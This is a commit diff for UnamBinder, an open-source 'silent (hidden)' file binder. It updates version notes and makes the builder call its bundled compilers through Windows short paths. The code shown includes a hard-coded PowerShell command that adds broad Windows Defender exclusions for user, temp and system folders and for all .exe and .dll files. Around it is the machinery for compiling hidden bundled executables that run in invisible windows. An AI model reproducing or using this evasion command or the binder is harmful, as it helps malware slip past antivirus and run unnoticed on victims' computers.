Updated to v1.1.1

* Worked around windres limitation of not supporting spaces in file paths

Author: UnamSanctam

Diff for: CHANGELOG.md

@@ -1,3 +1,5 @@
+### v1.1.1 (12/09/2021)
+* Worked around windres limitation of not supporting spaces in file paths
 ### v1.1.0 (12/09/2021)
 * Added new custom minimal MinGW64 windres resource compiler
 * Added new Icon and Assembly Data options using the new resource compiler

Diff for: README.md

@@ -1,7 +1,7 @@
 
 <img src="https://github.com/UnamSanctam/UnamBinder/blob/master/UnamBinder.png?raw=true">
 
-# UnamBinder 1.1.0 - A free silent native file binder
+# UnamBinder 1.1.1 - A free silent native file binder
 
 A free silent (hidden) open-source native file binder.
 
@@ -24,6 +24,8 @@ You can find the wiki [here](https://github.com/UnamSanctam/UnamBinder/wiki) or
 
 ## Changelog
 
+### v1.1.1 (12/09/2021)
+* Worked around windres limitation of not supporting spaces in file paths
 ### v1.1.0 (12/09/2021)
 * Added new custom minimal MinGW64 windres resource compiler
 * Added new Icon and Assembly Data options using the new resource compiler

Diff for: UnamBinder/Builder.Designer.cs

@@ -3,6 +3,7 @@
 using System.Diagnostics;
 using System.IO;
 using System.IO.Compression;
+using System.Runtime.InteropServices;
 using System.Text;
 using System.Windows.Forms;
 
@@ -14,6 +15,8 @@ public partial class Builder : Form
         public Vanity vanity = new Vanity();
         private string key = RandomString(32);
 
+        public static int MAX_PATH = 255;
+
         public Builder()
         {
             InitializeComponent();
@@ -24,9 +27,15 @@ public void NativeCompiler(string savePath)
             key = RandomString(32);
 
             string currentDirectory = Path.GetDirectoryName(savePath);
-            string filename = Path.GetFileNameWithoutExtension(savePath) + ".c";
-
             string compilerDirectory = Path.Combine(currentDirectory, "Compiler");
+            string filename = Path.GetFileName(savePath);
+
+            if(compilerDirectory.Length > MAX_PATH)
+            {
+                MessageBox.Show(string.Format("Error: Path \"{0}\" is longer than the max allowed filepath length of {1} characters. Please choose another shorter filepath to save the build in.", compilerDirectory, MAX_PATH));
+                return;
+            }
+
             if (!Directory.Exists(compilerDirectory))
             {
                 using (ZipArchive archive = new ZipArchive(new MemoryStream(Properties.Resources.tinycc)))
@@ -39,6 +48,8 @@ public void NativeCompiler(string savePath)
                 }
             }
 
+            string compilerDirectoryShort = ShortPath(compilerDirectory);
+
             StringBuilder sb = new StringBuilder(Properties.Resources.Program1);
 
             bool buildResource = (checkAdmin.Checked || vanity.checkIcon.Checked || vanity.checkAssembly.Checked);
@@ -72,8 +83,8 @@ public void NativeCompiler(string savePath)
 
                 Process.Start(new ProcessStartInfo
                 {
-                    FileName = Path.Combine(compilerDirectory, "MinGW64\\bin\\windres.exe"),
-                    Arguments = "--input resource.rc --output resource.o -O coff -F pe-i386 " + defs,
+                    FileName = "cmd",
+                    Arguments = string.Format("cmd /c \"{0}\" --input resource.rc --output resource.o -O coff -F pe-i386 {1}", compilerDirectoryShort + "\\MinGW64\\bin\\windres.exe", defs),
                     WorkingDirectory = currentDirectory,
                     WindowStyle = ProcessWindowStyle.Hidden
                 }).WaitForExit();
@@ -113,17 +124,18 @@ public void NativeCompiler(string savePath)
                 CipherReplace(sb, "#WDCOMMAND", "cmd /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & exit");
             }
 
-            System.IO.File.WriteAllText(Path.Combine(currentDirectory, filename), sb.ToString());
+            System.IO.File.WriteAllText(Path.Combine(currentDirectory, "program.c"), sb.ToString());
             Process.Start(new ProcessStartInfo
             {
-                FileName = Path.Combine(compilerDirectory, "tinycc\\tcc.exe"),
-                Arguments = "-Wall -Wl,-subsystem=windows \"" + filename + "\" " + (buildResource ? "resource.o" : "") + " -luser32 -m32",
+                FileName = "cmd",
+                Arguments = string.Format("cmd /c \"{0}\" -Wall -Wl,-subsystem=windows program.c {1} -luser32 -m32", compilerDirectoryShort + "\\tinycc\\tcc.exe", buildResource ? "resource.o" : ""),
                 WorkingDirectory = currentDirectory,
                 WindowStyle = ProcessWindowStyle.Hidden
             }).WaitForExit();
 
             System.IO.File.Delete(Path.Combine(currentDirectory, "resource.o"));
-            System.IO.File.Delete(Path.Combine(currentDirectory, filename));
+            System.IO.File.Delete(Path.Combine(currentDirectory, "program.c"));
+            System.IO.File.Move(Path.Combine(currentDirectory, "program.exe"), Path.Combine(currentDirectory, filename));
         }
 
         public void CipherReplace(StringBuilder source, string id, string value)
@@ -177,6 +189,16 @@ private static string ToLiteral(string input)
             return literal.ToString();
         }
 
+        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
+        public static extern int GetShortPathName([MarshalAs(UnmanagedType.LPWStr)]string path, [MarshalAs(UnmanagedType.LPWStr)]StringBuilder shortPath, int shortPathLength);
+
+        private static string ShortPath(string path)
+        {
+            var shortPath = new StringBuilder(MAX_PATH);
+            GetShortPathName(path, shortPath, MAX_PATH);
+            return shortPath.ToString();
+        }
+
         public string SaveDialog(string filter)
         {
             SaveFileDialog dialog = new SaveFileDialog();